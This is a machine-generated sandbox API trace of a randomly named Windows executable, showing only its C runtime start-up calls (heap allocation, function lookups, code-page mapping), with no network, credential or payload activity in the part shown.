# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: May 6 2020 08:26:37 # Log Creation Date: 10.05.2020 19:32:58.065 Process: id = "1" image_name = "opboohpueclon.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\opboohpueclon.exe" page_root = "0x4017c000" os_pid = "0xa30" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xbe8 [0041.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xe5fe38b0, dwHighDateTime=0x1d62701)) [0041.154] GetCurrentProcessId () returned 0xa30 [0041.154] GetCurrentThreadId () returned 0xbe8 [0041.154] GetTickCount () returned 0x1145fad [0041.154] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=16135251472) returned 1 [0041.154] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x402ad1)) [0041.154] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x30f0000 [0041.156] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0041.156] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0041.156] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0041.156] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0041.156] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0041.157] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0041.157] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0041.157] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0041.157] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0041.157] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0041.157] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0041.157] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0041.157] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0041.158] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0041.158] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0041.158] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0041.158] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0041.158] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0041.158] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0041.159] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0041.159] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0041.159] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x214) returned 0x30f07d0 [0041.160] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0041.160] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0041.160] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0041.160] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0041.160] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0041.160] GetCurrentThreadId () returned 0xbe8 [0041.160] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0041.160] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x800) returned 0x30f09f0 [0041.160] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0041.160] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0041.160] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0041.160] SetHandleCount (uNumber=0x20) returned 0x20 [0041.160] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe\" " [0041.160] GetEnvironmentStringsW () returned 0x2efee68* [0041.161] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x0, Size=0xaca) returned 0x30f11f8 [0041.161] FreeEnvironmentStringsW (penv=0x2efee68) returned 1 [0041.161] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4248c0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\opboohpueclon.exe")) returned 0x37 [0041.161] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x0, Size=0x78) returned 0x30f1cd0 [0041.161] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x98) returned 0x30f1d50 [0041.161] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x3e) returned 0x30f1df0 [0041.161] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x6c) returned 0x30f1e38 [0041.161] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x6e) returned 0x30f1eb0 [0041.161] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x78) returned 0x30f1f28 [0041.161] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x62) returned 0x30f1fa8 [0041.161] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x2e) returned 0x30f2018 [0041.161] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x48) returned 0x30f2050 [0041.161] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x28) returned 0x30f20a0 [0041.161] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x1a) returned 0x30f20d0 [0041.161] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x4a) returned 0x30f20f8 [0041.161] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x72) returned 0x30f2150 [0041.161] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x30) returned 0x30f21d0 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x2e) returned 0x30f2208 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x1c) returned 0x30f2240 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0xd2) returned 0x30f2268 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x7c) returned 0x30f2348 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x36) returned 0x30f23d0 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x3a) returned 0x30f2410 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x90) returned 0x30f2458 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x24) returned 0x30f24f0 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x30) returned 0x30f2520 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x36) returned 0x30f2558 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x48) returned 0x30f2598 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x52) returned 0x30f25e8 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x3c) returned 0x30f2648 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x82) returned 0x30f2690 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x2e) returned 0x30f2720 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x1e) returned 0x30f2758 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x2c) returned 0x30f2780 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x54) returned 0x30f27b8 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x52) returned 0x30f2818 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x2a) returned 0x30f2878 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x3c) returned 0x30f28b0 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x54) returned 0x30f28f8 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x24) returned 0x30f2958 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x30) returned 0x30f2988 [0041.162] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x8c) returned 0x30f29c0 [0041.162] HeapFree (in: hHeap=0x30f0000, dwFlags=0x0, lpMem=0x30f11f8 | out: hHeap=0x30f0000) returned 1 [0041.163] GetLastError () returned 0x0 [0041.163] SetLastError (dwErrCode=0x0) [0041.163] GetLastError () returned 0x0 [0041.163] SetLastError (dwErrCode=0x0) [0041.163] GetLastError () returned 0x0 [0041.163] SetLastError (dwErrCode=0x0) [0041.163] GetACP () returned 0x4e4 [0041.163] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x0, Size=0x220) returned 0x30f2a58 [0041.163] GetLastError () returned 0x0 [0041.164] SetLastError (dwErrCode=0x0) [0041.164] IsValidCodePage (CodePage=0x4e4) returned 1 [0041.164] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.164] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0041.164] GetLastError () returned 0x0 [0041.164] SetLastError (dwErrCode=0x0) [0041.164] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0041.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0041.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0041.164] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0041.164] GetLastError () returned 0x0 [0041.164] SetLastError (dwErrCode=0x0) [0041.164] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0041.165] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0041.165] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䂾␮囄@Ā") returned 256 [0041.165] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䂾␮囄@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0041.165] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䂾␮囄@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0041.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¿Ù\x98$\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0041.165] GetLastError () returned 0x0 [0041.165] SetLastError (dwErrCode=0x0) [0041.165] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0041.165] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䂾␮囄@Ā") returned 256 [0041.165] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䂾␮囄@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0041.165] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䂾␮囄@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0041.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¿Ù\x98$\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0041.165] RtlAllocateHeap (HeapHandle=0x30f0000, Flags=0x8, Size=0x80) returned 0x30f2c80 [0041.165] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4015c7) returned 0x0 [0041.166] RtlSizeHeap (HeapHandle=0x30f0000, Flags=0x0, MemoryPointer=0x30f2c80) returned 0x80 [0041.166] lstrlenA (lpString="") returned 0 [0041.166] 